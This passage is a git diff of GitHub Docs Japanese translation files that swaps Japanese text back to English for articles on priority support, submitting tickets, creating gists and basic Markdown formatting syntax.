Understand that the response to a priority question will be received via email +- Cooperate with {% data variables.contact.github_support %} and provide all of the information that {% data variables.contact.github_support %} asks for {% tip %} -**ヒント:** お住まいの地域の祝日にサブミットされた質問は、優先回答の対象になりません。 +**Tip:** Questions do not qualify for a priority response if they are submitted on a local holiday in your jurisdiction. {% endtip %} -応答時間目標 8 時間には、次の条件があります: -- 対象となる質問を {% data variables.contact.github_support %} が受信した時刻に開始する -- 質問に回答するのに十分な情報が提供されるまでは、十分な情報がないことを特に指定しない限り、開始しない -- お住まいの地域のタイムゾーンでの週末や祝日には適用されない +The target eight-hour response time: +- Begins when {% data variables.contact.github_support %} receives your qualifying question +- Does not begin until you have provided sufficient information to answer the question, unless you specifically indicate that you do not have sufficient information +- Does not apply on weekends in your local timezone or local holidays in your jurisdiction {% note %} -**メモ:** {% data variables.contact.github_support %} は、優先質問に対する解決を保証するものではありません。 {% data variables.contact.github_support %} では、提供された情報の合理的な評価に基づいて、Issue の優先質問ステータスへエスカレーションをすることも、そこからディエスカレーションすることもあります。 +**Note:** {% data variables.contact.github_support %} does not guarantee a resolution to your priority question. {% data variables.contact.github_support %} may escalate or deescalate issues to or from priority question status, based on our reasonable evaluation of the information you give to us. {% endnote %} diff --git a/translations/ja-JP/content/github/working-with-github-support/submitting-a-ticket.md b/translations/ja-JP/content/github/working-with-github-support/submitting-a-ticket.md index b69aff9ef4..ee1785cc2a 100644 --- a/translations/ja-JP/content/github/working-with-github-support/submitting-a-ticket.md +++ b/translations/ja-JP/content/github/working-with-github-support/submitting-a-ticket.md @@ -1,6 +1,6 @@ --- -title: チケットのサブミット -intro: 'GitHub Enterprise サポートページを使って、{% data variables.contact.github_support %} にチケットをサブミットできます。' +title: Submitting a ticket +intro: 'You can submit a ticket to {% data variables.contact.github_support %} using the support portal.' redirect_from: - /articles/submitting-a-ticket versions: @@ -9,30 +9,34 @@ versions: topics: - Jobs --- - ## About ticket submission -自分のアカウントで有料の {% data variables.product.prodname_dotcom %} 製品を使用している場合は、{% data variables.contact.github_support %} に直接問い合わせることができます。 If your account uses {% data variables.product.prodname_free_user %} for user accounts and organizations, you can use contact {% data variables.contact.github_support %} to report account, security, and abuse issues. 詳しい情報については、「[GitHub Supportについて](/github/working-with-github-support/about-github-support)」を参照してください。 +If your account uses a paid {% data variables.product.prodname_dotcom %} product, you can directly contact {% data variables.contact.github_support %}. If your account uses {% data variables.product.prodname_free_user %} for user accounts and organizations, you can use contact {% data variables.contact.github_support %} to report account, security, and abuse issues. For more information, see "[About GitHub Support](/github/working-with-github-support/about-github-support)." {% data reusables.enterprise-accounts.support-entitlements %} -Enterprise アカウントをお持ちでない場合は、{% data variables.contact.enterprise_portal %} を使用してチケットを送信してください。 Enterprise アカウントの詳細については、「[Enterprise アカウントについて](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)」を参照してください。 +If you do not have an enterprise account, please use the {% data variables.contact.enterprise_portal %} to submit tickets. For more information about enterprise accounts, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)." -## {% data variables.contact.support_portal %} を使ってチケットをサブミットする +## Submitting a ticket using the {% data variables.contact.support_portal %} {% data reusables.support.zendesk-old-tickets %} -1. {% data variables.contact.contact_support_portal %} に移動します。 -2. Select the **Account or organization** drop-down menu and click the name of the account, organization, or enterprise your ticket is regarding. ![Account field](/assets/images/help/support/account-field.png) -2. Select the **From** drop-down menu and click the email address you'd like {% data variables.contact.github_support %} to contact. ![メールフィールド](/assets/images/help/support/from-field.png) -4. [Subject] には、サブミットしようとしている問題がわかりやすい題名を入力してください。 ![Subject field (題名)](/assets/images/help/support/subject-field.png) -5. [How can we help] には、Support チームが問題のトラブルシューティングをするうえで役立つと考えられる追加情報をすべて入力してください。 有益な情報の例としては、以下のようなものがあります: ![[How can we help] フィールド](/assets/images/help/support/how-can-we-help-field.png) - - 問題を再現する手順 - - 問題が発見された状況に特徴的なこと (たとえば初回の発生、あるいは特定の事象の後の発生、発生頻度、問題のビジネス上の影響、想定される緊急度) - - 正確なエラーメッセージ -6. 必要に応じて、クリップボードからドラッグ、ドロップ、アップロードやペーストでファイルを添付します。 -7. [**Send request**] をクリックします。 ![[Send request] ボタン](/assets/images/help/support/send-request-button.png) +1. Navigate to the {% data variables.contact.contact_support_portal %}. +2. Select the **Account or organization** drop-down menu and click the name of the account, organization, or enterprise your ticket is regarding. +![Account field](/assets/images/help/support/account-field.png) +2. Select the **From** drop-down menu and click the email address you'd like {% data variables.contact.github_support %} to contact. +![Email field](/assets/images/help/support/from-field.png) +4. Under "Subject", type a descriptive title for the issue you're having. +![Subject field](/assets/images/help/support/subject-field.png) +5. Under "How can we help", provide any additional information that will help the Support team troubleshoot the problem. Helpful information may include: + ![How can we help field](/assets/images/help/support/how-can-we-help-field.png) + - Steps to reproduce the issue + - Any special circumstances surrounding the discovery of the issue (for example, the first occurrence or occurrence after a specific event, frequency of occurrence, business impact of the problem, and suggested urgency) + - Exact wording of error messages +6. Optionally, attach files by dragging and dropping, uploading, or pasting from the clipboard. +7. Click **Send request**. +![Send request button](/assets/images/help/support/send-request-button.png) -## 参考リンク -- "[{% data variables.product.prodname_dotcom %}の製品](/github/getting-started-with-github/githubs-products)" -- 「[{% data variables.contact.github_support %} について](/articles/about-github-support)」 -- [{% data variables.product.prodname_ghe_cloud %} の {% data variables.contact.premium_support %} について](/articles/about-github-premium-support-for-github-enterprise-cloud) +## Further reading +- "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products)" +- "[About {% data variables.contact.github_support %}](/articles/about-github-support)" +- "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %}](/articles/about-github-premium-support-for-github-enterprise-cloud)." diff --git a/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md b/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md index 45ac0e8f79..15a2177662 100644 --- a/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md +++ b/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md @@ -1,6 +1,6 @@ --- -title: Gist の作成 -intro: '{% ifversion ghae %}内部{% else %}パブリック{% endif %}とシークレットの 2 種類の Gist を作成できます。 アイデアを {% ifversion ghae %}Enterprise のメンバー{% else %}世界{% endif %}と共有する準備ができている場合は、{% ifversion ghae %}内部{% else %}パブリック{% endif %}の Gist を作成します。そうでない場合は、シークレットの Gist を作成します。' +title: Creating gists +intro: 'You can create two kinds of gists: {% ifversion ghae %}internal{% else %}public{% endif %} and secret. Create {% ifversion ghae %}an internal{% else %}a public{% endif %} gist if you''re ready to share your ideas with {% ifversion ghae %}enterprise members{% else %}the world{% endif %} or a secret gist if you''re not.' permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}' redirect_from: - /articles/about-gists/ @@ -14,68 +14,71 @@ versions: ghae: '*' ghec: '*' --- +## About gists -## Gistについて +Every gist is a Git repository, which means that it can be forked and cloned. {% ifversion not ghae %}If you are signed in to {% data variables.product.product_name %} when{% else %}When{% endif %} you create a gist, the gist will be associated with your account and you will see it in your list of gists when you navigate to your {% data variables.gists.gist_homepage %}. -すべての Gist は Git のリポジトリであり、フォークしたりクローンしたりできます。 {% ifversion not ghae %} Gist を作成する際 {% else %}{% endif %}{% data variables.product.product_name %} にサインインしている場合、その Gist は自分のアカウントに関連付けられ、{% data variables.gists.gist_homepage %} に移動すると自分の Gist リストに表示されます。 +Gists can be {% ifversion ghae %}internal{% else %}public{% endif %} or secret. {% ifversion ghae %}Internal{% else %}Public{% endif %} gists show up in {% data variables.gists.discover_url %}, where {% ifversion ghae %}enterprise members{% else %}people{% endif %} can browse new gists as they're created. They're also searchable, so you can use them if you'd like other people to find and see your work. -Gist は、{% ifversion ghae %}内部{% else %}パブリック{% endif %}またはシークレットにすることができます。 {% ifversion ghae %}内部{% else %}パブリック{% endif %} の Gist が {% data variables.gists.discover_url %} に表示され、{% ifversion ghae %}Enterprise メンバー{% else %}ユーザ{% endif %} は作成された新しい Gist を参照できます。 それらのGistは検索もできるので、他の人々に自分の作業を探して見てもらうために使うこともできます。 - -シークレット Gist は {% data variables.gists.discover_url %} に表示されず、検索できません。 シークレット Gist はプライベートではありません。 If you send the URL of a secret gist to {% ifversion ghae %}another enterprise member{% else %}a friend{% endif %}, they'll be able to see it. However, if {% ifversion ghae %}any other enterprise member{% else %}someone you don't know{% endif %} discovers the URL, they'll also be able to see your gist. 好奇心の強い眼から自分のコードを守っておきたいなら、[プライベートリポジトリを作成](/articles/creating-a-new-repository)するとよいでしょう。 +Secret gists don't show up in {% data variables.gists.discover_url %} and are not searchable. Secret gists aren't private. If you send the URL of a secret gist to {% ifversion ghae %}another enterprise member{% else %}a friend{% endif %}, they'll be able to see it. However, if {% ifversion ghae %}any other enterprise member{% else %}someone you don't know{% endif %} discovers the URL, they'll also be able to see your gist. If you need to keep your code away from prying eyes, you may want to [create a private repository](/articles/creating-a-new-repository) instead. {% data reusables.gist.cannot-convert-public-gists-to-secret %} {% ifversion ghes %} -サイト管理者がプライベートモードを無効化している場合は、匿名 Gist を使うこともできます。匿名 Gist はパブリックもしくはシークレットにできます。 +If your site administrator has disabled private mode, you can also use anonymous gists, which can be public or secret. {% data reusables.gist.anonymous-gists-cannot-be-deleted %} {% endif %} -通知は以下の場合に送られます: -- あなたが Gist の作者である場合。 -- 誰かがあなたを Gist 中でメンションした場合。 -- いずれかの Gist の上部で [** Subscribe**] をクリックして、Gist をサブスクライブした場合。 +You'll receive a notification when: +- You are the author of a gist. +- Someone mentions you in a gist. +- You subscribe to a gist, by clicking **Subscribe** at the top of any gist. {% ifversion fpt or ghes or ghec %} -Gist をプロフィールにピン止めして、他のユーザが簡単に見ることができるようにすることができます。 詳しい情報については、「[プロフィールにアイテムをピン止めする](/articles/pinning-items-to-your-profile)」を参照してください。 +You can pin gists to your profile so other people can see them easily. For more information, see "[Pinning items to your profile](/articles/pinning-items-to-your-profile)." {% endif %} -{% data variables.gists.gist_homepage %} に移動し、[**All Gists**] をクリックすると、他の人が作成した{% ifversion ghae %}内部{% else %}パブリック{% endif %} Gist を見つけることができます。 こうすると、すべての Gist が作成時刻または更新時刻でソートされて表示されるページに行きます。 また、Gist は {% data variables.gists.gist_search_url %} で言語ごとに検索できます。 Gist 検索は[コード検索](/search-github/searching-on-github/searching-code)と同じ検索構文を使います。 +You can discover {% ifversion ghae %}internal{% else %}public{% endif %} gists others have created by going to the {% data variables.gists.gist_homepage %} and clicking **All Gists**. This will take you to a page of all gists sorted and displayed by time of creation or update. You can also search gists by language with {% data variables.gists.gist_search_url %}. Gist search uses the same search syntax as [code search](/search-github/searching-on-github/searching-code). -Gist は Git リポジトリであるため、完全なコミット履歴を diff とともに表示させることができます。 Gist はフォークしたりクローンしたりすることもできます。 詳細は「[Gist のフォークおよびクローン](/articles/forking-and-cloning-gists)」を参照してください。 +Since gists are Git repositories, you can view their full commit history, complete with diffs. You can also fork or clone gists. For more information, see ["Forking and cloning gists"](/articles/forking-and-cloning-gists). -Gist の ZIP ファイルは、Gist の上部にある [**Download ZIP**] ボタンをクリックすればダウンロードできます。 Gist は blog ポストなど、JavaScript をサポートしているどのテキストフィールドにも埋め込むことができます。 埋め込みのコードを得るには、Gist の **Embed** URL の隣にあるクリップボードアイコンをクリックします。 特定の Gist ファイルを埋め込むには、**Embed** URL に`?file=FILENAME` を追加します。 +You can download a ZIP file of a gist by clicking the **Download ZIP** button at the top of the gist. You can embed a gist in any text field that supports Javascript, such as a blog post. To get the embed code, click the clipboard icon next to the **Embed** URL of a gist. To embed a specific gist file, append the **Embed** URL with `?file=FILENAME`. {% ifversion fpt or ghec %} -Gist は GeoJSON ファイルのマッピングをサポートしています。 このようなマップは、簡単に共有しマップを埋め込むことができるよう、埋め込み Gist 内に表示されます。 For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github)." +Gist supports mapping GeoJSON files. These maps are displayed in embedded gists, so you can easily share and embed maps. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github)." {% endif %} -## Gist の作成 +## Creating a gist -以下のステップに従って、Gist を作成します。 +Follow the steps below to create a gist. {% ifversion fpt or ghes or ghae or ghec %} {% note %} -{% data variables.product.prodname_cli %} を使用して Gist を作成することもできます。 詳しい情報については、{% data variables.product.prodname_cli %} ドキュメントの「[`gh gist create`](https://cli.github.com/manual/gh_gist_create)」を参照してください。 +You can also create a gist using the {% data variables.product.prodname_cli %}. For more information, see "[`gh gist create`](https://cli.github.com/manual/gh_gist_create)" in the {% data variables.product.prodname_cli %} documentation. -または、デスクトップからエディタにテキストファイルを直接ドラッグアンドドロップすることもできます。 +Alternatively, you can drag and drop a text file from your desktop directly into the editor. {% endnote %} {% endif %} -1. {% data variables.product.product_name %}にサインインします。 -2. {% data variables.gists.gist_homepage %}に移動します。 -3. Gist の名前と説明 (任意) を入力します。 ![Gist の名前と説明](/assets/images/help/gist/gist_name_description.png) +1. Sign in to {% data variables.product.product_name %}. +2. Navigate to your {% data variables.gists.gist_homepage %}. +3. Type an optional description and name for your gist. +![Gist name description](/assets/images/help/gist/gist_name_description.png) -4. Gist のテキストを Gist テキストボックスに入力します。 ![Gist テキストボックス](/assets/images/help/gist/gist_text_box.png) +4. Type the text of your gist into the gist text box. +![Gist text box](/assets/images/help/gist/gist_text_box.png) -5. 必要に応じて、{% ifversion ghae %}内部{% else %}パブリック{% endif %} Gist を作成するには、{% octicon "triangle-down" aria-label="The downwards triangle icon" %} をクリックしてから、[**Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**] をクリックします。 ![Drop-down menu to select gist visibility]{% ifversion ghae %}(/assets/images/help/gist/gist-visibility-drop-down-ae.png){% else %}(/assets/images/help/gist/gist-visibility-drop-down.png){% endif %} +5. Optionally, to create {% ifversion ghae %}an internal{% else %}a public{% endif %} gist, click {% octicon "triangle-down" aria-label="The downwards triangle icon" %}, then click **Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**. +![Drop-down menu to select gist visibility]{% ifversion ghae %}(/assets/images/help/gist/gist-visibility-drop-down-ae.png){% else %}(/assets/images/help/gist/gist-visibility-drop-down.png){% endif %} -6. [**Create secret Gist**] または [**Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**] をクリックします。 ![新しい Gist を作成するボタン](/assets/images/help/gist/create-secret-gist-button.png) +6. Click **Create secret Gist** or **Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**. + ![Button to create gist](/assets/images/help/gist/create-secret-gist-button.png) diff --git a/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md b/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md index 1eefbd91c1..a11f87792f 100644 --- a/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md +++ b/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md @@ -1,6 +1,6 @@ --- -title: 基本的な書き方とフォーマットの構文 -intro: シンプルな構文を使い、GitHub 上で文章やコードに洗練されたフォーマットを作り出してください。 +title: Basic writing and formatting syntax +intro: Create sophisticated formatting for your prose and code on GitHub with simple syntax. redirect_from: - /articles/basic-writing-and-formatting-syntax - /github/writing-on-github/basic-writing-and-formatting-syntax @@ -11,34 +11,33 @@ versions: ghec: '*' shortTitle: Basic formatting syntax --- +## Headings -## ヘッディング - -ヘッディングを作成するには、1 つから 6 つの `#` シンボルをヘッディングのテキストの前に追加します。 使用する `#` の数によって、ヘッディングのサイズが決まります。 +To create a heading, add one to six `#` symbols before your heading text. The number of `#` you use will determine the size of the heading. ```markdown -# The largest heading (最大のヘッディング) -## The second largest heading (2番目に大きなヘッディング) -###### The smallest heading (最も小さいヘッディング) +# The largest heading +## The second largest heading +###### The smallest heading ``` -![表示された H1、H2、H6 のヘッディング](/assets/images/help/writing/headings-rendered.png) +![Rendered H1, H2, and H6 headings](/assets/images/help/writing/headings-rendered.png) -## スタイル付きテキスト +## Styling text -コメントフィールドと `.md` ファイルでは、太字、斜体、または取り消し線のテキストで強調を示すことができます。 +You can indicate emphasis with bold, italic, or strikethrough text in comment fields and `.md` files. -| スタイル | 構文 | キーボードショートカット | サンプル | 出力 | -| ------------- | ------------------ | ------------------- | ------------------------- | ----------------------- | -| 太字 | `** **`もしくは`__ __` | command/control + b | `**これは太字のテキストです**` | **これは太字のテキストです** | -| 斜体 | `* *`あるいは`_ _` | command/control + i | `*このテキストは斜体です*` | *このテキストは斜体です* | -| 取り消し線 | `~~ ~~` | | `~~これは間違ったテキストでした~~` | ~~これは間違ったテキストでした~~ | -| 太字および太字中にある斜体 | `** **`及び`_ _` | | `**このテキストは_きわめて_ 重要です**` | **このテキストは_きわめて_重要です** | -| 全体が太字かつ斜体 | `*** ***` | | `***すべてのテキストがきわめて重要です***` | ***すべてのテキストがきわめて重要です*** | +| Style | Syntax | Keyboard shortcut | Example | Output | +| --- | --- | --- | --- | --- | +| Bold | `** **` or `__ __`| command/control + b | `**This is bold text**` | **This is bold text** | +| Italic | `* *` or `_ _`     | command/control + i | `*This text is italicized*` | *This text is italicized* | +| Strikethrough | `~~ ~~` | | `~~This was mistaken text~~` | ~~This was mistaken text~~ | +| Bold and nested italic | `** **` and `_ _` | | `**This text is _extremely_ important**` | **This text is _extremely_ important** | +| All bold and italic | `*** ***` | | `***All this text is important***` | ***All this text is important*** | -## テキストの引用 +## Quoting text -テキストは`>`で引用できます。 +You can quote text with a `>`. ```markdown Text that is not a quote @@ -46,28 +45,28 @@ Text that is not a quote > Text that is a quote ``` -![表示された引用テキスト](/assets/images/help/writing/quoted-text-rendered.png) +![Rendered quoted text](/assets/images/help/writing/quoted-text-rendered.png) {% tip %} -**ヒント:** 会話を見る場合、コメントをハイライトして `r` と入力することで、コメント中のテキストを自動的に引用できます。 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} に続いて [** Quote reply**] をクリックすれば、コメント全体を引用できます。 キーボードショートカットに関する詳しい情報については、「[キーボードショートカット](/articles/keyboard-shortcuts/)」を参照してください。 +**Tip:** When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing `r`. You can quote an entire comment by clicking {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then **Quote reply**. For more information about keyboard shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts/)." {% endtip %} -## コードの引用 +## Quoting code -単一のバッククォートで文章内のコードやコマンドを引用できます。 The text within the backticks will not be formatted.{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} You can also press the `command` or `Ctrl` + `e` keyboard shortcut to insert the backticks for a code block within a line of Markdown.{% endif %} +You can call out code or a command within a sentence with single backticks. The text within the backticks will not be formatted.{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} You can also press the `command` or `Ctrl` + `e` keyboard shortcut to insert the backticks for a code block within a line of Markdown.{% endif %} ```markdown -コミットされていない新しいもしくは修正されたすべてのファイルをリストするには `git status` を使ってください。 +Use `git status` to list all new or modified files that haven't yet been committed. ``` -![表示されたインラインのコードブロック](/assets/images/help/writing/inline-code-rendered.png) +![Rendered inline code block](/assets/images/help/writing/inline-code-rendered.png) -独立したブロック内にコードあるいはテキストをフォーマットするには、3 重のバッククォートを使用します。 +To format code or text into its own distinct block, use triple backticks. 
                    -いくつかの基本的な Git コマンド:
+Some basic Git commands are:
 ```
 git status
 git add
@@ -75,29 +74,29 @@ git commit
 ```
                    -![表示されたコードブロック](/assets/images/help/writing/code-block-rendered.png) +![Rendered code block](/assets/images/help/writing/code-block-rendered.png) -詳しい情報については[コードブロックの作成とハイライト](/articles/creating-and-highlighting-code-blocks)を参照してください。 +For more information, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)." -## リンク +## Links -リンクのテキストをブラケット `[ ]` で囲み、URL をカッコ `( )` で囲めば、インラインのリンクを作成できます。 {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}You can also use the keyboard shortcut `command + k` to create a link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %} +You can create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL in parentheses `( )`. {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}You can also use the keyboard shortcut `command + k` to create a link.{% endif %}{% ifversion fpt or ghae-issue-5434 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %} -`このサイトは [GitHub Pages](https://pages.github.com/) を使って構築されています。` +`This site was built using [GitHub Pages](https://pages.github.com/).` -![表示されたリンク](/assets/images/help/writing/link-rendered.png) +![Rendered link](/assets/images/help/writing/link-rendered.png) {% tip %} -**ヒント:** {% data variables.product.product_name %}は、コメント中に適正な URL が書かれていれば自動的にリンクを生成します。 詳しい情報については[自動リンクされた参照と URL](/articles/autolinked-references-and-urls) を参照してください。 +**Tip:** {% data variables.product.product_name %} automatically creates links when valid URLs are written in a comment. For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)." {% endtip %} -## セクションリンク +## Section links {% data reusables.repositories.section-links %} -## 相対リンク +## Relative links {% data reusables.repositories.relative-links %} @@ -113,18 +112,18 @@ You can display an image by adding `!` and wrapping the alt text in`[ ]`. Then w {% tip %} -**Tip:** When you want to display an image which is in your repository, you should use relative links instead of absolute links. +**Tip:** When you want to display an image which is in your repository, you should use relative links instead of absolute links. {% endtip %} Here are some examples for using relative links to display an image. -| コンテキスト | Relative Link | -| ----------------------------------------------------------- | ---------------------------------------------------------------------- | -| In a `.md` file on the same branch | `/assets/images/electrocat.png` | -| In a `.md` file on another branch | `/../main/assets/images/electrocat.png` | -| In issues, pull requests and comments of the repository | `../blob/main/assets/images/electrocat.png` | -| In a `.md` file in another repository | `/../../../../github/docs/blob/main/assets/images/electrocat.png` | +| Context | Relative Link | +| ------ | -------- | +| In a `.md` file on the same branch | `/assets/images/electrocat.png` | +| In a `.md` file on another branch | `/../main/assets/images/electrocat.png` | +| In issues, pull requests and comments of the repository | `../blob/main/assets/images/electrocat.png` | +| In a `.md` file in another repository | `/../../../../github/docs/blob/main/assets/images/electrocat.png` | | In issues, pull requests and comments of another repository | `../../../github/docs/blob/main/assets/images/electrocat.png?raw=true` | {% note %} @@ -135,10 +134,22 @@ Here are some examples for using relative links to display an image. For more information, see "[Relative Links](#relative-links)." +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5559 %} +### Specifying the theme an image is shown to -## リスト +You can specify the theme an image is displayed to by appending `#gh-dark-mode-only` or `#gh-light-mode-only` to the end of an image URL, in Markdown. -1 つ以上の行の前に `-` または `*` を置くことで、順序なしリストを作成できます。 +We distinguish between light and dark color modes, so there are two options available. You can use these options to display images optimized for dark or light backgrounds. This is particularly helpful for transparent PNG images. + +| Context | URL | +|--------|--------| +| Dark Theme | `![GitHub Light](https://github.com/github-light.png#gh-dark-mode-only)` | +| Light Theme | `![GitHub Dark](https://github.com/github-dark.png#gh-light-mode-only)` | +{% endif %} + +## Lists + +You can make an unordered list by preceding one or more lines of text with `-` or `*`. ```markdown - George Washington @@ -146,9 +157,9 @@ For more information, see "[Relative Links](#relative-links)." - Thomas Jefferson ``` -![表示された順序なしリスト](/assets/images/help/writing/unordered-list-rendered.png) +![Rendered unordered list](/assets/images/help/writing/unordered-list-rendered.png) -リストを順序付けするには、各行の前に数字を置きます。 +To order your list, precede each line with a number. ```markdown 1. James Madison @@ -156,112 +167,112 @@ For more information, see "[Relative Links](#relative-links)." 3. John Quincy Adams ``` -![表示された順序付きリスト](/assets/images/help/writing/ordered-list-rendered.png) +![Rendered ordered list](/assets/images/help/writing/ordered-list-rendered.png) -### 入れ子になったリスト +### Nested Lists -1 つ以上のリストアイテムを他のアイテムの下にインデントすることで、入れ子になったリストを作成できます。 +You can create a nested list by indenting one or more list items below another item. -{% data variables.product.product_name %}上の Web のエディタあるいは [Atom](https://atom.io/) のようなモノスペースフォントを使うテキストエディタを使って入れ子になったリストを作成するには、リストが揃って見えるように編集します。 入れ子になったリストアイテムの前に空白を、リストマーカーの文字 (`-` または `*`) が直接上位のアイテム内のテキストの一文字目の下に来るように入力してください。 +To create a nested list using the web editor on {% data variables.product.product_name %} or a text editor that uses a monospaced font, like [Atom](https://atom.io/), you can align your list visually. Type space characters in front of your nested list item, until the list marker character (`-` or `*`) lies directly below the first character of the text in the item above it. ```markdown -1. 最初のリストアイテム - - 最初の入れ子になったリストアイテム - - 2 番目の入れ子になったリストアイテム +1. First list item + - First nested list item + - Second nested list item ``` -![並びがハイライトされた入れ子になったリスト](/assets/images/help/writing/nested-list-alignment.png) +![Nested list with alignment highlighted](/assets/images/help/writing/nested-list-alignment.png) -![2 レベルの入れ子になったアイテムを持つリスト](/assets/images/help/writing/nested-list-example-1.png) +![List with two levels of nested items](/assets/images/help/writing/nested-list-example-1.png) -モノスペースフォントを使っていない {% data variables.product.product_name %}のコメントエディタで入れ子になったリストを作成するには、入れ子になったリストのすぐ上にあるリストアイテムを見て、そのアイテムの内容の前にある文字数を数えます。 そして、その数だけ空白を入れ子になったリストアイテムの前に入力します。 +To create a nested list in the comment editor on {% data variables.product.product_name %}, which doesn't use a monospaced font, you can look at the list item immediately above the nested list and count the number of characters that appear before the content of the item. Then type that number of space characters in front of the nested list item. -この例では、入れ子になったリストアイテムをリストアイテム `100. 最初のリストアイテム` の下に、最低 5 つの空白で入れ子になったリストアイテムをインデントさせることで追加できます。これは、`最初のリストアイテム`の前に 5 文字 (`100. `) があるからです。 +In this example, you could add a nested list item under the list item `100. First list item` by indenting the nested list item a minimum of five spaces, since there are five characters (`100. `) before `First list item`. ```markdown -100. 最初のリストアイテム - - 最初の入れ子になったリストアイテム +100. First list item + - First nested list item ``` -![入れ子になったリストアイテムを持つリスト](/assets/images/help/writing/nested-list-example-3.png) +![List with a nested list item](/assets/images/help/writing/nested-list-example-3.png) -同じ方法で、複数レベルの入れ子になったリストを作成できます。 For example, because the first nested list item has seven characters (`␣␣␣␣␣-␣`) before the nested list content `First nested list item`, you would need to indent the second nested list item by seven spaces. +You can create multiple levels of nested lists using the same method. For example, because the first nested list item has seven characters (`␣␣␣␣␣-␣`) before the nested list content `First nested list item`, you would need to indent the second nested list item by seven spaces. ```markdown -100. 最初のリストアイテム - - 最初の入れ子になったリストアイテム - - 2 番目の入れ子になったリストアイテム +100. First list item + - First nested list item + - Second nested list item ``` -![2 レベルの入れ子になったアイテムを持つリスト](/assets/images/help/writing/nested-list-example-2.png) +![List with two levels of nested items](/assets/images/help/writing/nested-list-example-2.png) -[GitHub Flavored Markdown の仕様](https://github.github.com/gfm/#example-265)には、もっと多くのサンプルがあります。 +For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265). -## タスクリスト +## Task lists {% data reusables.repositories.task-list-markdown %} -タスクリストアイテムの説明がカッコから始まるのであれば、`\` でエスケープしなければなりません。 +If a task list item description begins with a parenthesis, you'll need to escape it with `\`: -`- [ ] \(オプション) フォローアップの Issue のオープン` +`- [ ] \(Optional) Open a followup issue` -詳しい情報については[タスクリストについて](/articles/about-task-lists)を参照してください。 +For more information, see "[About task lists](/articles/about-task-lists)." -## 人や Team のメンション +## Mentioning people and teams -{% data variables.product.product_name %}上の人あるいは [Team](/articles/setting-up-teams/) は、`@` に加えてユーザ名もしくは Team 名を入力することでメンションできます。 これにより通知がトリガーされ、会話に注意が向けられます。 コメントを編集してユーザ名や Team 名をメンションすれば、人々に通知を受信してもらえます。 通知の詳細は、{% ifversion fpt or ghes or ghae or ghec %}「[通知について](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}「[通知について](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}」を参照してください。 +You can mention a person or [team](/articles/setting-up-teams/) on {% data variables.product.product_name %} by typing `@` plus their username or team name. This will trigger a notification and bring their attention to the conversation. People will also receive a notification if you edit a comment to mention their username or team name. For more information about notifications, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}." -`@github/support これらのアップデートについてどう思いますか？` +`@github/support What do you think about these updates?` -![表示された @メンション](/assets/images/help/writing/mention-rendered.png) +![Rendered @mention](/assets/images/help/writing/mention-rendered.png) -親チームにメンションすると、その子チームのメンバーも通知を受けることになり、複数のグループの人々とのコミュニケーションがシンプルになります。 詳しい情報については[Team について](/articles/about-teams)を参照してください。 +When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see "[About teams](/articles/about-teams)." -`@` シンボルを入力すると、プロジェクト上の人々あるいは Team のリストが現れます。 このリストは入力していくにつれて絞り込まれていくので、探している人あるいは Team の名前が見つかり次第、矢印キーを使ってその名前を選択し、Tab キーまたは Enter キーを押して名前の入力を完了できます。 Team については、@organization/team-name と入力すればそのチームの全メンバーにその会話をサブスクライブしてもらえます。 +Typing an `@` symbol will bring up a list of people or teams on a project. The list filters as you type, so once you find the name of the person or team you are looking for, you can use the arrow keys to select it and press either tab or enter to complete the name. For teams, enter the @organization/team-name and all members of that team will get subscribed to the conversation. -オートコンプリートの結果は、リポジトリのコラボレータとそのスレッドのその他の参加者に限定されます。 +The autocomplete results are restricted to repository collaborators and any other participants on the thread. -## Issue およびプルリクエストの参照 +## Referencing issues and pull requests -`#` 